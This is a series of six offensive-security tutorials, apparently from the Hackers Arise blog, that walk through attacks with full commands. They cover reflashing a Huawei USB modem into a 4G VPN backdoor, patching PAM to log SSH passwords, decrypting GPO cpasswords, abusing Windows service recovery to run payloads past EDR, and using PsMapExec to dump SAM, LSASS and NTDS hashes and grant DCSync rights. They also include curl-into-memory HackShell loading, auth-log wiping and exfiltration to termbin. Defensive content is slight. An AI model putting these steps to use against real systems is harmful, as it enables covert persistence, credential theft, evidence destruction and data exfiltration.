Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

During a pentest you might land on a Linux machine and make your way to root. Then comes cracking passwords, which is quite a challenging thing, unless you have good GPU. This can take a significant time with no promise it will work. Linux hashes, unlike NTLM hashes you have on Windows can’t be reused in lateral movement. Thankfully, there is a technique called PAM patch that can help you get those passwords when users log in via SSH.

Recon with Known Hosts

Before we start patching PAM, we need to understand the network a bit to see what hosts users connect to from this machine. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. Those files have a list of hosts.

For example, /home/username/.ssh/known_hosts might have a git host. That can be a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. If the user has the same credentials on that host, it will be a pivot point.

Preparing the Host

Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config.

root > vim /etc/ssh/sshd_config
PasswordAuthentication yes

Once this change is in place, the groundwork is set.

Creating a Logging Script

The next step is creating a small script that will record login attempts. With root privileges, create a new file at /usr/local/bin/logc.sh. We then make it executable and create a log file to store credentials.

create a log file. root > cat > /usr/local/bin/logc.sh << 'EOF'
#!/bin/bash
read -r PASS
echo "$(date) User: ${PAM_USER} Password: ${PASS} From: ${PAM_RHOST}" >> /var/log/.authc.log
exit 0
EOF

root > chmod 755 /usr/local/bin/logc.sh
root > touch /var/log/.authc.log
root > chmod 777 /var/log/.authc.log

Patching PAM

Now we need to edit the PAM authentication mechanism. PAM configurations vary slightly between distributions, but for SSH specifically, you will need to edit is /etc/pam.d/sshd. For broader system-wide coverage, other files such as /etc/pam.d/common-auth (Debian/Ubuntu) or /etc/pam.d/password-auth (CentOS) could be patched instead.

root > grep -q logc.sh /etc/pam.d/sshd || sed -i '1i auth optional pam_exec.so expose_authtok /usr/local/bin/logc.sh' /etc/pam.d/sshd

root > head -5 /etc/pam.d/sshd

This will ensure that every authentication attempt, successful or not, passes through the logging script before continuing with normal PAM processing.

Applying and Testing the Patch

For the changes to take effect, restart the SSH service.

root > grep -E '^PasswordAuthentication' /etc/ssh/sshd_config
root > systemctl restart ssh
root > systemctl is-active ssh

Once restarted, test the patch by logging in with valid credentials.

Now check the log file.

root > cat /var/log/.authc.log

Each entry has the username, the password they entered, the host they connected from and the date of the attempt. Over time, this log will have a lot of credentials from user sessions, helping you a lot during a pentest.

Summary

There is a great method of harvesting SSH credentials on Linux by modifying the PAM. After finding potential lateral movement hosts, SSH is set up to allow password authentication. A custom logging script is created to save usernames and their passwords. Then the script is integrated into PAM by editing /etc/pam.d/sshd. Restarting SSH activates this change and future connections will be stored with usable credentials. 

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Password Cracking: Stealing SSH Credentials with PAM first appeared on Hackers Arise.

Welcome back, pentesters!

Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.

A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.  

What is a GPO

A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more. 

Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it. 

We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.

Here is how you set it up:

PS > Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'

PS > Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'

PS > Install-Module -Name GPOZaurr -AllowClobber -Force
PS > Import-Module GPOZaurr

What GPOs Exist?

Before we start hunting for anything, let’s see what GPOs exist in the domain. Later we will pull the secrets. 

PS > Get-GPOZaurr | Format-Table DisplayName, DomainName, Empty, Linked, Enabled -AutoSize

For every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).

As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.

It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it. 

Where Do They Apply?

Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.

PS > Get-GPOZaurrLink | Format-Table DisplayName, CanonicalName, Enabled, Enforced -AutoSize

Enabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.

Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.

You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.

The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.

Let’s list what computers are in Workstations-Temp.

PS > Get-ADComputer -SearchBase "OU=Workstations-Temp,DC=sekvoya,DC=local" -Filter * | Select-Object Name, DistinguishedName

Look Inside the GPOs

Now that we know which GPOs hit Workstations-Temp, we can find out what they actually do.

PS > Find-GPO -GPOName 'Local Administrator Password' -SingleObject
PS > Find-GPO -GPOName 'Logon Script - Standard User' -SingleObject
PS > Find-GPO -GPOName 'WSUS Settings - Old' -SingleObject

Find-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.

You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.

Listing Files

For the reason mentioned above, we won’t trust the output and list all the files ourselves. 

PS > Get-GPOZaurrFiles | Format-Table GPOName, FullName, Length -AutoSize

Here we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.

Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.

Decrypting the Password

Let’s take a look at Groups.xml and see its structure. 

PS > findstr /s /i cpassword \\sekvoya.local\sysvol\*.xml

Above you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there. 

kali > nxc smb DC -u user -p password 

Permission to Change 

Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.

PS > Get-GPOZaurrPermission | Where-Object { $_.DisplayName -eq 'Local Admins - Workstations' } | Format-Table DisplayName, PrincipalName, Permission, PrincipalSidType -AutoSize

This pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.

In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.

A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.

Ownership

An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big. 

PS > Get-GPOZaurrOwner -IncludeSysvol | Where-Object { $_.DisplayName -eq 'Printer Deployment - 3rd Floor' } | Format-Table DisplayName, Owner, OwnerType, SysvolOwner -AutoSize

In our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.

If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.

Summary

We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times. 

There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post Pentesting: Group Policy for Hackers – Basics first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.

RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.

How It Works

Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.

Here is how it works:

PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>

Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.

Abusing Service Recovery Function

For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.

PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentService

As you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.

Now let’s create a recovery plan for it. 

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”

PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentService

Once the service crashes it will print the output of whoami into uev_temp.txt

UevAgentService can be started on boot or on demand:

# On demand - you will need to start it manually 
PS > sc.exe config UevAgentService start= demand

# On boot
PS > sc.exe config UevAgentService start= auto

Then we start it:

PS > sc.exe start UevAgentService

Now we can validate it by checking the state and the result:

PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt

As you can see, the service failed to start and Windows executed the recovery plan.

The example above is benign, but you can also try it in different ways. Here are a few examples:

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"

# or with arguments
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"

We set it up to execute a Metasploit stager and got our connection back.

Summary

Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.

Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.

The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.

Welcome back, pentesters!

Over the past few months, we’ve been covering different ways to use PowerShell to survive, wreck and hack systems. We’ve also covered different scripts stored in our repository for you to use. All of them come in handy during pentests. 

Today we want to cover another tool called PsMapExec.

PsMapExec

It was developed by The-Viper-One and inspired by CrackMapExec/NetExec. PsMapExec doesn’t have identical features, but it’s got some stealth since it can load directly into memory without ever touching disk. It uses the current session to execute commands, so you don’t always need to know the victim’s password.

The script’s been around for a while but hasn’t gotten much attention, which is one of the reasons we decided to cover it here. Like most publicly available offensive tools, it’ll get flagged by AV if you load it directly. Sometimes hackers rewrite scripts, keeping the core functions intact, just to slip past the AV. On the other hand, finding a machine with no active antivirus isn’t always easy, but it’s almost always possible.

Loading in Memory

It’s best to execute the script directly in memory:

PS > IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Now we can start working with it. 

Dumping SAM Hashes

One of the first things you do on a compromised host is dump hashes. There are two kinds. SAM gives you local user account hashes, while LSASS holds the hashes of all connected users.

To dump local accounts from a single machine:

PS > PsMapExec smb -Targets MANAGER-1 -Module SAM -ShowOutput

To dump local accounts from all machines in a domain:

PS > PsMapExec smb -Targets all -Module SAM -ShowOutput

The output is clean and only includes valid local accounts. But keep in mind, the less noise you make the better. 

Dumping LSASS Hashes

LSASS credentials get stored temporarily and hold domain user accounts you need to test Active Directory. In some organizations, critical users may belong to the Protected Users Group. That prevents their credentials from being cached in memory. It’s not something you see everywhere, but it’s worth noting.

To dump LSASS locally using an elevated shell:

PS > PsMapExec smb -Targets “localhost” -Module “LogonPasswords” -ShowOutput

If the current user doesn’t have permission, you need add admin credentials:

PS > PsMapExec smb -Targets “DC” -Username “user” -Password “password” -Module “LogonPasswords” -ShowOutput

You can also dump LSASS on a remote host, as you can see above.

Remote Command Execution

Every network is different. Some companies segment it to prevent lateral movement. That adds complexity. In that case, you need to pivot. A pivot host will either have the network interface you need or be able to ping hosts on another subnet.

To view network interfaces on all domain machines:

PS > PsMapExec SMB -Target all -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

To query a single machine:

PS > PsMapExec SMB -Target “DC” -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”

You can execute other commands in the same way. When you find the host you need, enable WinRM on it:

PS > PsMapExec SMB -Target “MANAGER-1” -Username “user” -Password “password” -Command “winrm quickconfig -q” -Domain “sekvoya.local”

WinRM is often used for lateral movement.

Kerberos Tickets

Another module is Kerbdump. It dumps Kerberos tickets from remote hosts and those tickets can be used for Pass the Ticket attacks. Some domains disable NTLM for security reasons and that’s when you’ll need these Kerberos tickets instead. Kerberos traffic is a normal and frequent part of AD traffic, so if you’ve got a choice between NTLM and Kerberos, go with Kerberos.

PS > PsMapExec -Method smb -Targets DC -Username “user” -Password “password” -Module “KerbDump” -ShowOutput

The script parses the output and assigns these tickets to variables that you can use for lateral movement.

Kerberoasting

Kerberoasting is a different kind of attack. Unlike KerbDump, it doesn’t give you reusable tickets, these need to be cracked to recover the password. Every once in a while you’ll find domain admins or service accounts with an SPN assigned to them. That SPN is what makes them vulnerable to Kerberoasting. Sometimes hackers intentionally assign an SPN to a user just to crack their password, but that requires privileges. Kerberoasting itself doesn’t, so you can get a hashed admin password using just a regular low privileged domain user.

Set an SPN for a user:

PS > PsMapExec ldap -Targets DC -Module AddSPN -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

Then kerberoast that user:

PS > PsMapExec kerberoast -Target “DC” -Username “user” -Password “password” -Option “kerberoast:adm_ivanov” -ShowOutput

Ekeys

Kerberos tickets are encrypted using special encryption keys and you can extract those keys to decrypt or even forge tickets. That can be useful for persistence and lateral movement.

PS > PsMapExec wmi -Targets all -Module ekeys -ShowOutput

Timeroasting

This attack exploits how AD machines sync their clocks using the Network Time Protocol (NTP). Hackers can get the hashes for computer accounts this way.

Computer passwords are big strings of random characters, you can’t really crack them, unless the password matches the computer name. That happens when a computer’s configured as a pre-Windows 2000 computer. In that case, the password is a lowercase computer name without the trailing $. Otherwise, passwords are randomly generated.

This attack doesn’t really happen that often, but some computer accounts may have privileges over other objects in Active Directory that your user doesn’t have, so compromising them makes sense. You’ll see this more in bigger companies.

PS > PsMapExec ldap -Targets DC -Module timeroast -ShowOutput

With domain admin privileges, you can turn a domain user into a domain computer, get the hash and then revert the change. That’s a very stealthy way to get crackable hashes. We covered this attack in our article.

Finding Files

Some users just store credentials in text files on their Desktop. The Files module will find non-default files within user directories.

PS > PsMapExec wmi -Targets all -Module Files -ShowOutput

ACL Persistence

Hackers make mistakes and defenders take measures to evict them. Once credentials get changed, there’s not much you can do, unless you have ACL persistence.

You’ll often see DCSync privileges granted as one of them. With a DCSync attack, your computer impersonates a domain controller and requests password hashes from the domain. Another common one is granting GenericAll over AdminSDHolder to a user or computer. That lets you add new members to Domain Admins and change the passwords of its members.

Assign DCSync privileges:

PS > PsMapExec ldap -Target DC -Module Elevate -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”

NTDS Dump

The NTDS dump is the final stage once domain admin privileges are obtained. PsMapExec will get the NTDS.dit and extract all NTLM hashes from it. 

PS > PsMapExec SMB -Targets “DC” -Username “user” -Password “password” -Module NTDS -ShowOutput

NTDS has all accounts that have existed in the domain.

Summary

PsMapExec is a great tool if you’re into hacking with PowerShell. It’s practical and has some features NetExec doesn’t. We’ve only covered some of them here, so give it a try and see what else it has under the hood.

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post Powershell for Hackers, Part 9: Hacking with PsMapExec first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we talked about how widespread Linux systems are. Most of the internet runs on Linux. ISPs rely on it for deep packet inspection, servers host sites on it. Cameras, routers and cash registers run Linux based firmware too. Critical infrastructure depends heavily on Linux as well, from gas stations to industrial control systems.

Master OTW has a great series showing how cameras can be exploited and later used as proxies. Once hackers control a device like that, it becomes a doorway into the organization. And if they’re Linux systems, that means they run Bash. Bash is already a powerful friend to admins and hackers, but we can make it even more stealthy.

We will look at HackShell today. It was built to upgrade your Bash environment during a pentest. HackShell was developed by The Hacker’s Choice and the tool is actively maintained. To evade detection, it loads entirely in memory and doesn’t need to write itself to disk. That reduces the number of artifacts left on a system.

Setting Up

Once you get a shell, load HackShell directly into memory:

bash$ > source <(curl -SsfL https://thc.org/hs)
# or
bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. When it loads, it does some light enumeration to find details about the machine. This system had gs-netcat running as persistence.

If the compromised host doesn’t have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell into /dev/shm. Old machines may have compatibility issues, to bypass them run these commands:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to see what it’s capable of.

Capabilities

The developers of HackShell put a lot of thought into what you might need during a pentest. Many helpful commands are built directly into the shell. You can list these commands with xhelp.

We will walk through some of the most interesting ones. The main thing here is stealth. Many commands here reduce the amount of forensic evidence left behind.

Evasion

Here are some commands that will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This only affects your current HackShell session and doesn’t modify the environment for other users who log in. Files in /dev/shm stay in memory and don’t persist across reboots.

bash$ > xhome

xlog

When hackers connect over SSH, their login events appear in the auth log and other places. HackShell can remove these events selectively.

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by admins for long-running tasks. There you can manage multiple terminal windows and keep sessions running after disconnects. In our forensic cases we saw hackers wiping storage using dd inside tmux sessions. That way the system keeps erasing data even if the network connection drops.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you’ve changed your home directory and cleaned the logs, you can learn more about the system you work with.

ws

WhatServer shows a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports and more.

lpe

LinPEAS is well-known. It’s a privilege escalation auditing script. It’s frequently updated and often used by pentesters. HackShell can run it directly in memory.

bash$ > lpe

The script will find possible paths to privilege escalation. We already had root on this system, that’s why the output was so rich. But you can work with it under any user account.

hgrep

Credentials can sit in different files and configs. You can hgrep certain keywords to find those files.

bash$ > hgrep pass

This can speed things up.

scan

HackShell can scan hosts and print greppable output, that makes it easy to find open ports across the infrastructure.

bash$ > scan PORT IP

loot

That’s a really useful command. Loot searches through configs and known locations in an effort to find stored creds or sensitive data. It doesn’t always find everything, but it’s definitely worth giving it a shot.

bash$ > loot

If you don’t find much, use lootmore:

bash$ > lootmore

When results are incomplete, use CredsHound.

Lateral Movement and Data Exfiltration

Normally, you don’t exfiltrate data during a pentest unless it’s necessary to test the infrastructure. Mishandling exfiltrated data can expose sensitive information to the internet, which could violate your agreement with the client. Be careful.

tb

This command uploads content to termbin.com. Files uploaded this way become publicly accessible. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, delete the local copy:

bash$ > shred secrets.txt

xssh and xscp

These commands work similarly to SSH and SCP, but minimize exposure. Defenders may have automatic alerts set up for new SSH sessions, so careless movement can trigger an incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell can make your Bash really stealthy. There’s still much more to explore in the tool. If you’re a defender, take the time to study it, see how it loads and find the servers it connects to. This can help you create useful IOCs and strengthen your detection.

If you like ethical hacking, you will enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a big library of courses that develop that will develop your skills. Once those payments are complete, you unlock Subscriber Pro level training that opens the door to advanced topics. This structure was created because students asked for flexibility. You can keep growing and improving without carrying an unnecessary financial burden.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.